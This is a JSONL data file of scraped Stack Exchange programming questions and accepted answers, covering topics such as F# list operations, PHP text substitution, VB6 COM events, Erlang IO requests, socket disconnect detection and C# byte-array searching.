{"id": "hf_2af68ac942aa", "question": "<p>Suppose I have some code:</p>\n\n<pre><code>let listB = [ 1; 2; 3 ]  \n</code></pre>\n\n<p>Using Lisp notation, how do I do a <code>car</code> and <code>cadr</code> against this list? I know cons is <code>::</code>.</p>\n\n<p>Or in Scheme, <code>first</code> and <code>rest</code>?</p>\n", "question_body": "", "answer": "List.head\n: Returns the first element of a nonempty list\n(The head of the list)\n.\nList.tail\n: Returns all the elements of a\nnonempty list except the first\n(The tail or rest of the list)\n.\nExample (\nusing F# Interactive Console\n):\n```\n```\n> let sample = [1;2;3;4];;\n\nval sample : int list\n\n> List.head sample;;\n\nval it : int = 1\n\n> List.tail sample;;\n\nval it : int list = [2; 3; 4]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.266828"}
{"id": "hf_bf8da2dbccd8", "question": "<p>I've got a lot of pages in my site, I'm trying to think of a nice way to separate these into areas that are a little more isolated than just simple directories under my base web project.  Is there a way to put my web forms into a separate class library?  If so, how is it done?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "At first thought, I don't think this is possible, due to the way ASPX is non-precompiled..\nHowever, you can create classes that inherit from\n```\nPage\n```\nand place them into a DLL to re-use code-behind functionality. This can of course include control instantiate logic if required, but there is no designer to work with (if you need it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.291385"}
{"id": "hf_0a8c7844a171", "question": "<p>Is it possible to retrieve the CPUID and MAC address of a client machine from a Ruby on Rails application?. Are there any plugins available for this?</p>\n", "question_body": "", "answer": "I'm pretty sure it is not possible to parse the /proc filesystem of a client computer through a Rails applications (and thank God for that).\nWhat you could do is make use of Javascript to some extent. There are quite some sites on the internet (mainly privacy scanners) which make use of Javascript to show extensive information about a client system. This might even work for the type of CPU of the client uses (assuming that is what you mean by 'CPUID').\nWhat neither Javascript nor Rails can do for you though, is show you the MAC address of a client (assuming with 'macid' you mean a MAC address). If you take a deeper look into the way TCP/IP networking is done, you'll notice that this is by design. A computer in another network segment (say, the internet) is never intended to know your MAC address, nor does it need to.\nIf you really want to know someone's MAC, you'll need to use something like a Java applet or an ActiveX control (though that limits you to a certain platform). Those things should prompt your user for confirmation / permission before sending out privacy sensitive information like MAC addresses, which is a Good Thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.315334"}
{"id": "hf_ae5db0bcb58a", "question": "<p>I have a list of email address which I want to distribute evenly by domain.</p>\n\n<p>For example:</p>\n\n<p>let the list be, </p>\n\n<pre><code>a@a.com\nb@a.com\nc@a.com\na@b.com\nb@b.com\nc@c.com\n</code></pre>\n\n<p>The output should be </p>\n\n<pre><code>a@a.com\na@b.com\nc@c.com\nb@a.com\nb@b.com\nc@a.com\n</code></pre>\n\n<p>The source list is not sorted by domain as in example, but can be sorted by domain, if that can help. What would be an efficient (single/two pass?) algorithm of doing this?</p>\n\n<p>raj</p>\n", "question_body": "", "answer": "My starting attempt would be a hash map of linked lists, so that once all the domain collisions were grouped, you could iterate though the linked lists one at a time.\nIf that makes any sense.\nThe following code is completely\nUNTESTED\n, and I know there is a bunch of stuff not right in the second loop, but it was faster than trying to explain further.\n```\n```\n$sortedList = array();\n$tempList\n$emailList = array('a@a.com', 'b@a.com', 'c@b.com', 'd@b.com', 'e@c.com', 'f@a.com');\n\n$emailCount = 0;\nforeach ( $emailList as $email ) {\n    list($username, $domain) = explode('@', $email);\n    $tempList[$domain][] = $user;\n    $emailCount++;\n}\n\nfor ( $i = 0; $i < $emailCount; $i++ ) {\n    $listIndex = $i % count($tempList);\n    if ( !empty($tempList[$listIndex]) ) {\n        $sortedList[] = $tempList[$listIndex][0];\n        unset($tempList[$listIndex][0]);\n    } else {\n        unset$tempList[$listIndex]);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.352560"}
{"id": "hf_1e3b840b3e3e", "question": "<p>we are writing tests for a COM library written in VB 6.0.The problem we are facing is that, we are unable to access events declared in VB( withevents). We get exception, \"object does not support set of events\". How can we overcome this problem?</p>\n", "question_body": "", "answer": "For example, we have a class in VB 6.0 called DatabaseCommand.\n```\n```\nOption Explicit\n\nPublic Event SavedSuccessfully()\n\nPublic Sub Execute(ByVal vAge As Integer, ByVal vName As String, ByVal vAddress As String)\n\n    RaiseEvent SavedSuccessfully\n\nEnd Sub\n```\n```\nNow, personclass\n```\n```\nPrivate WithEvents dbCommand As DatabaseCommand\n\nPublic Sub Init(ByVal vDBCommand As DatabaseCommand)\n\n    Set dbCommand = vDBCommand\n\nEnd Sub\n\nPrivate Sub dbCommand_SavedSuccessfully()\n    'not implemented\nEnd Sub\n```\n```\nNow, when try to test this ( after compiling the vb project)\n```\n```\nMockRepository repository = new MockRepository();\n\nPersonLib.DatabaseCommand db = repository.DynamicMock<PersonLib.DatabaseCommand>();\n\nPersonLib.PersonClass person = new PersonLib.PersonClass();\n\nperson.Init(db);  --- this line throws error - Object or class does not support the set of events\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.389532"}
{"id": "hf_6c2b1a724fb8", "question": "<p>I am an intermediate C programmer. If you have made any coding mistake that you came to know later that it was the most hazardous / harmful to the total application please share that code or description. I want to know this because in future I may come across such situations and I want to have your advice to avoid such mistakes.</p>\n", "question_body": "", "answer": "```\n```\nif (c = 1) // insert code here\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.415000"}
{"id": "hf_1e768a6ecb1c", "question": "<p>My application communicates with another system via IBM Websphere MQ. Sometimes no message comes into my queue but the other system said They already sent to me. So I want to know how to keep a history for all messages that arriving on my queue.</p>\n", "question_body": "", "answer": "Keep in mind that it may still be coming across the network as the MQ architecture may have many middle-ware queues.  Similarly, there's no requirement for a message to immediately get transmitted across a channel - the sender may batch up the messages and send them with a trigger.\nThe best way to ensure you log everything that arrives is to do this is with an interceptor queue.\nThis is the queue (let's call it A) that the channel writes to and, until this change, your application read from.  You then have a transfer process the reads from A, logs the message then writes it to the second queue (B).  This second queue is what your application now reads from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.440160"}
{"id": "hf_d7f3685e8602", "question": "<p>Is there an application , which can parse a given set of stored procedures (SQL Server 2000) and  gets all tables and associated columns that are being used in it.\nThe stored procedure can have tables from different databases.</p>\n\n<p>Output should be like \nTableA \n   columnA\n   columnC\n   columnD</p>\n\n<p>TableB \n   columnE\n   columnF\n   columnG</p>\n\n<p>I have written an small application using Database Edition GDR Any one interested can refer to <a href=\"http://tsqlparsergdr.codeplex.com\" rel=\"nofollow noreferrer\">http://tsqlparsergdr.codeplex.com</a>   </p>\n", "question_body": "", "answer": "UPDATE - 20 Jan 2009\n*\nVisual Studio DB Professional Edition shipped with a full T-SQL script DOM parser\nhttp://blogs.msdn.com/gertd/archive/2008/08/21/getting-to-the-crown-jewels.aspx\nNot a concrete solution - but a line of thought.\nConsidered sysdepends as a potential solution - but it is notoriously unreliable at containing\nall\nthe dependent object information.\nbut how about something Lex/Yacc derived?  There are a few commercial parsers e.g.\nhttp://www.sqlparser.com/download.php\nNot looked for open-source implementation but I think I would look for that route.  Here's how I started my search:\nhttp://www.google.com/search?hl=en&q=sql+lex+yacc+parse\nBNF syntax for ANSI SQL can be found here:\nhttp://savage.net.au/SQL/\nWith a lex implementation of choice, this seems a relatively straight forward engineering problem from here.  (albeit with some heavylifting if you want to support MS SQL extensions)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.490556"}
{"id": "hf_b0268dc57e6c", "question": "<p>A lot of programmers who are used Visual Studio have a hard time adjusting to the fact that in other source control systems, files do not need to be locked/checked out to one developer at any given time.</p>\n\n<p>Proponents of merging say that allowing two people to work on the same file speeds up productivity since it eliminates queuing up for the same source file. It also avoids cases where code needs to be written but the source is checked out to a guy who just left on a two-week vacation.</p>\n\n<p>Locking advocates say that a lot of risk is introduced when more than one person works on the same file simultaneously. Communication and coordination between team members becomes much more necessary when using the merge model, according to them. Plus, a lot of people seem to mistrust automated merges.</p>\n\n<p>What is the most compelling reason for you to use one method over the other?</p>\n", "question_body": "", "answer": "Locking files may not scale very well to larger team. With version control systems that utilizes a lot of branching and merging, it simply may not be practical to let any one person give such control over the repository (thus, not scale to larger team).\nWith Subversion, for example, branching is a pointer copy, so you can easily create a TRY branch to avoid corrupting the trunk if you are experimenting with something, but want to commit.\nWith distributed version control systems like Git, every check out essentially is a branch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.516628"}
{"id": "hf_61ebe74d1e1c", "question": "<p>What's the best way to take some plain text (not PHP code) which contains PHP-style variables, and then substitute in the value of the variable. This is kinda hard to describe, so here's an example.</p>\n\n<pre><code>// -- myFile.txt --\nMary had a little $pet.\n\n// -- parser.php --\n$pet = \"lamb\";\n// open myFile.txt and transform it such that...\n$newContents = \"Mary had a little lamb.\";\n</code></pre>\n\n<p>I've been considering using a regex or perhaps <code>eval()</code>, though I'm not sure which would be easiest. This script is only going to be running locally, so any worries regarding security issues and <code>eval()</code> do not apply <em>(i think?)</em>.</p>\n\n<p>I'll also just add that I can get all the necessary variables into an array by using <code>get_defined_vars()</code>:</p>\n\n<pre><code>$allVars = get_defined_vars();\necho $pet;             // \"lamb\"\necho $allVars['pet'];  // \"lamb\"\n</code></pre>\n", "question_body": "", "answer": "Here's what I've just come up with, but I'd still be interested to know if there's a better way. Cheers.\n```\n```\n$allVars = get_defined_vars();\n$file = file_get_contents('myFile.txt');\n\nforeach ($allVars as $var => $val) {\n    $file = preg_replace(\"@\\\\$\" . $var . \"([^a-zA-Z_0-9\\x7f-\\xff]|$)@\", $val . \"\\\\1\", $file);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.541725"}
{"id": "hf_ca1195231d06", "question": "<p>In my models, there are lots of attributes and methods that perform some calculation based on the model instance's attributes.  I've been having the methods return nil if the attributes that the calculations depend on are nil.  As a consequence of this design decision, I'm doing a lot of nil checks before displaying these values in my views. </p>\n\n<p>I thought about having these methods return zero instead of nil when they don't have enough information, but I chose nil because zero is a valid computation result and nil implies that there was not enough information.</p>\n\n<p>Should I return 0 instead of nil?  Is there any other pattern that I could use to avoid doing a bunch of nil checks in my views?  </p>\n", "question_body": "", "answer": "I tend to think you are doing things right if your problem is choosing whether to display, or not display, the results of a calculation.  If it would make no sense to display any value, then nil is perfectly reasonable.\nIf, however, your business logic is resulting in you getting into a state where much of the view will be habitually blank, then you probably should refactor such that your program loses its leaky abstractions.\nConsider, for example, an application which starts by tracking recipes for\n```\nFood\n```\n.  Then, as requirements morph, we get the notion of pies needing to display different information than burgers.  Rather than having a\n```\ncalculate_deliciousness_of_pie_or_nil_for_burger\n```\nmethod, and then checking for nil in the view, I'd break that into a pie view for pies and a burger view for burgers.  This might (probably would) require rethinking my object abstractions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.566622"}
{"id": "hf_b9f60c15f76b", "question": "<p>I need to read account number from Maestro/Mastercard with smart card reader. I am using Java 1.6 and its javax.smartcardio package. I need to send APDU command which will ask EMV application stored on card's chip for PAN number. Problem is, I cannot find regular byte array to construct APDU command which will return needed data anywhere... </p>\n", "question_body": "", "answer": "You need to do construct a CommandAPDU object and pass it to the transmit()-command.\nYou should be able to find the precise command in the documentation for your smartcard, but here is one example:\n```\n```\nbyte[] readFile(CardChannel channel) throws CardException {\n  CommandAPDU command = new CommandAPDU(0xB0, 0x60, 0x10, 0x00);\n  ResponseAPDU response = channel.transmit(command);\n  return response.getData();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.602622"}
{"id": "hf_a11fa8713477", "question": "<p>I'm putting a crontab job for updating with apt-get once a day (running Debian Lenny, there are updates almost daily). But almost all examples i've seen of this cron job invoke the -d flag. </p>\n\n<p>This elicits 4 questions:</p>\n\n<ul>\n<li>Why should I only download the\npackages and not install them?</li>\n<li>Doesn't this defeat the purpose of\nrunning it automatically?</li>\n<li>Don't I have to go in and actually\ninstall the updates later?</li>\n<li>Is it safe for me to run the cron\njob without the -d flag?</li>\n</ul>\n", "question_body": "", "answer": "You're operating on a faulty assumption--neither apt-get (nor aptitude) are meant to be run automatically, nor is the Debian packaging system really designed for it. That's why the tools make it difficult.\nWhat happens when a software upgrade breaks because you forgot to update a configuration file? This has happened to me in the past (apache2), and some with severe consequences that prevented the machine from booting (mdadm). What happens when the software brings in dependencies you don't want (i.e. bringing in the entire X11 windowing system, on a server)? Etc, etc...\nIf you're worried about installing security upgrades automatically, you want to look at the\nunattended-upgrades\npackage. It will download and install packages from the security archive for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.629915"}
{"id": "hf_6bae8f60fce3", "question": "<p>I have a dll that must be useable from C etc, so I cant use string objects etc as a normal would, but I'm not sure on how to do this safely..</p>\n\n<pre><code>const char *GetString()\n{\n    std::stringstream ss;\n    ss &lt;&lt; \"The random number is: \" &lt;&lt; rand();\n    return ss.str().c_str();\n}\n</code></pre>\n\n<p>could the c string be destroyed when ss falls off the stack? I'm  assuming so...</p>\n\n<p>Another option may be to create a new string on the heap, but what is going to deallocate that?</p>\n\n<pre><code>const char *GetString()\n{\n    std::stringstream ss;\n    ss &lt;&lt; \"The random number is: \" &lt;&lt; rand();\n    char *out = new char[ss.str().size()];\n    strcpy(ss.str().c_str(), out);\n    return out;//is out ever deleted?\n}\n</code></pre>\n\n<p>The same goes for pointers to other things as well as strings.</p>\n", "question_body": "", "answer": "The first would actually not work because the stringstream deallocates it's space on destruction. So if you try to de-reference that pointer there is a good chance that your program would crash.\nThe second option you mention is how it's usually done and the user of the function is required to deallocate the space. IIf this is a C program which uses the function make sure you allocate with malloc() and free with free()\nAnother option is to return an address of a static char array. This is relevant if you know in advance a good upper bound to the length. More importantly this should be used ONLY if there is no chance that the function is going to be called from two different threads at the same time because using a static array essentially makes your function non-\nreentrant\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.739395"}
{"id": "hf_735806a44ace", "question": "<p>I am designing an <strong>Automatic text summarizer</strong>. One of the major modules in this project requires <strong>TRAINING CORPUS</strong>. Can someone please help me out by providing <strong>TRAINING CORPUS</strong> or <strong>referring some link to download</strong> it. Thanks in anticipation</p>\n", "question_body": "", "answer": "See\nHow to Write a Spelling Corrector\nby Norvig. He mentions\nProject Gutenberg\n,\nWiktionary\n,\nBritish National Corpus\n,\nBirkbeck spelling error corpus\n. There's also\nBrown Corpus\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.792186"}
{"id": "hf_8612be19ae8b", "question": "<p>I'm having a problem where a jQuery setting against an .html() property on a selected element is returning the error 'nodeName' is null or not an object. This only occurs on IE6 and IE7, but not FF2, FF3, Opera (latest Nov 12,2008) or Safari (again, latest).</p>\n", "question_body": "", "answer": "I resolved the problem. The example looks like this:\n$('#section #detail .data').html(data);\n...where data is HTML returned from an AJAX call, and this bug only occurs on IE6 and IE7 on the second attempt AJAX call, not the first. It's inexplicable. The error returned is:\n```\n```\n'nodeName' is null or not an object\n```\n```\nThe fix is to simply clear the variable first before setting:\n$('#section #detail .data').html('');\n$('#section #detail .data').html(data);\nAnd then IE6 and IE7 started working again with it.\nBTW, I had to install Visual Web Developer 2008 Express Edition to get a debugger working in IE7. That info is\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.829936"}
{"id": "hf_2595909e6a14", "question": "<p>In Erlang, every process has a group leader, and when a process wants to print something (i.e. it calls the io library or does something similar), it will send a message to its group leader.</p>\n\n<p>My question is, where can I find the specification of these messages? Or in general, the specification of what a group leader should do?</p>\n\n<p>I managed to find out with some experimenting that sometimes the process sends an <code>{io_request, Sender, GroupLeader, Request}</code> term, and the answer is an <code>{io_reply, GroupLeader, ok}</code> term, but there may be other cases.</p>\n", "question_body": "", "answer": "The Erlang Rationale (video)\nor\n(slides)\n;  is a good source of information, as is the source code for\nuser.erl\n.\nIn short:\n```\n```\n{io_request, From, ReplyAs, Request}\n  %From is the process to send the reply to, \n  %ReplyAs is any term the caller desires to \n  %match up the request and the response. (returned verbatim in the reply)\n  {io_reply, ReplyAs, Reply}\n```\n```\nSome requests in user.erl:\n```\n```\n{put_chars, IoList} % puts the iolist\n {put_chars, M,F,A} % puts the result of apply(M,F,A)\n {get_geometry, 'rows' | 'columns'} % returns the number of rows or columns of the console\n {get_line, Prompt} % calls io_lib:collect_line(Prompt)\n {get_chars, Prompt, Mod, Func, ExtraArgs} \n {get_until, Prompt, Mod, Func, Args}\n {setopts, Options} % only option supported by user is 'binary' \n                    % (binary mode if present in Options, list mode otherwise)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.878074"}
{"id": "hf_69cddd3f63ed", "question": "<p>Let's say I'm running a simple server and have <code>accept()</code>ed a connection from a client.</p>\n\n<p>What is the best way to tell when the client has disconnected? Normally, a client is supposed to send a close command, but what if it disconnects manually or loses network connection altogether? How can the server detect or handle this?</p>\n", "question_body": "", "answer": "select (with the read mask set) will return with the handle signalled, but when you use ioctl* to check the number of bytes pending to be read, it will be zero. This is a sign that the socket has been disconnected.\nThis is a great discussion on the various methods of checking that the client has disconnected:\nStephen Cleary, Detection of Half-Open (Dropped) Connections\n.\n* for Windows use ioctlsocket.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.926289"}
{"id": "hf_08984e3ab4f4", "question": "<p>Consider the following signature in C#:</p>\n\n<pre><code>double Divide(int numerator, int denominator);\n</code></pre>\n\n<p>Is there a performance difference between the following implementations?</p>\n\n<pre><code>return (double)numerator / denominator;\n\nreturn numerator / (double)denominator;\n\nreturn (double)numerator / (double)denominator;\n</code></pre>\n\n<p>I'm assuming that both of the above return the same answer.</p>\n\n<p>Have I missed any other equivalent solution?</p>\n", "question_body": "", "answer": "Have you tried comparing the IL (for example, with\nReflector\n)?\n```\n```\nstatic double A(int numerator, int denominator)\n{ return (double)numerator / denominator; }\n\nstatic double B(int numerator, int denominator)\n{ return numerator / (double)denominator; }\n\nstatic double C(int numerator, int denominator)\n{ return (double)numerator / (double)denominator; }\n```\n```\nAll three become (give or take the name):\n```\n```\n.method private hidebysig static float64 A(int32 numerator, int32 denominator) cil managed\n{\n    .maxstack 8\n    L_0000: ldarg.0 // pushes numerator onto the stack\n    L_0001: conv.r8 // converts the value at the top of the stack to double\n    L_0002: ldarg.1 // pushes denominator onto the stack\n    L_0003: conv.r8 // converts the value at the top of the stack to double\n    L_0004: div     // pops two values, divides, and pushes the result\n    L_0005: ret     // pops the value from the top of the stack as the return value\n}\n```\n```\nSo no: there is exactly zero difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.949869"}
{"id": "hf_1eb6340d1155", "question": "<p>At the moment I have a set of divs, generated dynamically by php and all having their ids starting with 'itembox', with a count number appended. I have a droppable garbage bin area on the page so that the user can delete an individual itembox by fdragging and dropping on to the bin.</p>\n\n<p>My problem is that the droppable won't seem to activate when I drag the original, while it will function (perfectly) when I have helper: 'clone' set. Unfortunately, though, when dragging, the cloning function takes its clone from the first iteration of the itembox, no matter which itembox is actually dragged.</p>\n\n<p>So I'm looking for a solution to either make the droppable accept an original or force the cloning function to take its clone from the itembox actually dragged.</p>\n", "question_body": "", "answer": "I guess the problem must lie in the accept option of your droppable initializer. Just try the following:\n```\n```\n$('#mydroppable').droppable(\n{\n    accept: function() { return true; },\n    drop: function () { alert(\"Dropped!\"); }\n});\n```\n```\nNow this will accept everything, so you should probably implement some filtering in the accept function but none the less this should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.974643"}
{"id": "hf_0f91db5bb519", "question": "<p>I understand the following elements :</p>\n\n<ul>\n<li>there is some sort of crawling (configured in central administration)</li>\n<li>when the crawling is done, there is a slight delay, after which you can have your search results displayed.</li>\n</ul>\n\n<p>But, in a document library with publishing enabled, documents that are not published don't appear in search results. Is that normal ?</p>\n", "question_body": "", "answer": "All contents are crawled using the default content access account. Most of the time, this is a dedicated account, and SharePoint give it \"Full Read\" permissions.\nUnfortunately, non approved items are not visible for \"read users\". So it will index the latest published version.\nHowever, you can't really give more permissions to this user. If you do so, it will always index unpublished item, without indexing the latest publish version. So user without approvers permissions won't be able to search those items.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.999613"}
{"id": "hf_52a6835f4735", "question": "<p>What is the difference between <code>atan</code> and <code>atan2</code> in C++?</p>\n", "question_body": "", "answer": "```\nstd::atan2\n```\nallows calculating the arctangent of all four quadrants.\n```\nstd::atan\n```\nonly allows calculating from quadrants 1 and 4.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.024963"}
{"id": "hf_a8a2f2c183eb", "question": "<p>My record sheet app has a menu option for creating a new, blank record sheet. When I open a sheet window, I can open new windows without a problem, using subprocess.Popen() to do it.</p>\n\n<p>However, under Windows (I haven't tested it on other OSes yet), if I open a new window then use the \"open file\" dialog to populate the fields with data from a file, I'm no longer able to create new windows. Once it's populated, Windows gives me the </p>\n\n<blockquote>\n  <p>'foo.py' is not recognized as an internal or external command, operable\n  program or batch file.</p>\n</blockquote>\n\n<p>I don't understand what would cause Windows to suddenly not recognize the Popen() call. I don't have any code that would affect it in any way that I'm aware of.</p>\n", "question_body": "", "answer": "From the error message, it looks like you need to pass the full path of \"foo.py\" to your Popen call. Normally just having \"foo.py\" will search in your current working directory, but this can be a bit unpredictable on Windows, I have found. Yours seems to be jumping around with the open file dialog.\nSecondly, just for good measure, it would seem like you would need to pass foo.py as an argument to python.exe executable, rather than executing foo.py itself. Again, I would specify this by path.\nSo to be safe, something like:\n```\n```\nsubprocess.Popen([r'C:\\Python2.5\\python.exe', r'C:\\path\\to\\foo.py'])\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.103444"}
{"id": "hf_b0291d34ab44", "question": "<p>When my IronPython program gets to the line  </p>\n\n<pre><code>import wx\n</code></pre>\n\n<p>I get this message:</p>\n\n<pre><code>A first chance exception of type\n'IronPython.Runtime.Exceptions.PythonImportErrorException' occurred in IronPython.dll\n\nAdditional information: No module named _core_\n</code></pre>\n\n<p>although I do have the file wx\\_core_.pyd. Also, before attempting the import, I have the lines:  </p>\n\n<pre><code>sys.path.append('c:\\\\Python24\\\\Lib\\\\site-packages')\nsys.path.append('c:\\\\Python24\\\\Lib\\\\site-packages\\\\wx-2.6-msw-unicode')\nsys.path.append('c:\\\\Python24\\\\Lib\\\\site-packages\\\\wx-2.6-msw-unicode\\\\wx')\nsys.path.append('c:\\\\Python24\\\\Lib\\\\site-packages\\\\wx-2.6-msw-unicode\\\\wx\\\\lib')\nsys.path.append('c:\\\\Python24\\\\Lib\\\\site-packages\\\\wx-2.6-msw-unicode\\\\wxpython\\\\lib')\nsys.path.append('c:\\\\Python24\\\\Lib\\\\site-packages\\\\wxaddons')\n</code></pre>\n\n<p>which I hoped would let IronPython find everything it needed. </p>\n", "question_body": "", "answer": "No, this won't work. Wx bindings (like most other \"python bindings\") are actually compiled against CPython.\nIn this regards they are not just packages on sys.path to be found, as you have tried. They actually depend on CPython itself.\nThis rather dry document explains the process.\nNote: There was a mission by some of the crew at Resolver Systems to allow you to use CPython bindings with IronPython (called\nIronClad\n) but this is in its early stages, and I think they will concentrate on getting things like Numpy working first, GUI toolkits will always be the last, and hardest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.141148"}
{"id": "hf_82252f1c87f2", "question": "<p>Anyone know a good and effective way to search/match for a byte pattern in an byte[] array and then return the positions.</p>\n\n<p>For example</p>\n\n<pre><code>byte[] pattern = new byte[] {12,3,5,76,8,0,6,125};\n\nbyte[] toBeSearched = new byte[] {23,36,43,76,125,56,34,234,12,3,5,76,8,0,6,125,234,56,211,122,22,4,7,89,76,64,12,3,5,76,8,0,6,125}\n</code></pre>\n", "question_body": "", "answer": "You can put the byte array into\nString\nand run match by IndexOf. Or you can at least reuse\nexisting algorithms\non string matching.\n```\n```\n[STAThread]\n    static void Main(string[] args)\n    {\n        byte[] pattern = new byte[] {12,3,5,76,8,0,6,125};\n        byte[] toBeSearched = new byte[] {23,36,43,76,125,56,34,234,12,3,5,76,8,0,6,125,234,56,211,122,22,4,7,89,76,64,12,3,5,76,8,0,6,125};\n        string needle, haystack;\n\n        unsafe \n        {\n            fixed(byte * p = pattern) {\n                needle = new string((SByte *) p, 0, pattern.Length);\n            } // fixed\n\n            fixed (byte * p2 = toBeSearched) \n            {\n                haystack = new string((SByte *) p2, 0, toBeSearched.Length);\n            } // fixed\n\n            int i = haystack.IndexOf(needle, 0);\n            System.Console.Out.WriteLine(i);\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.190820"}
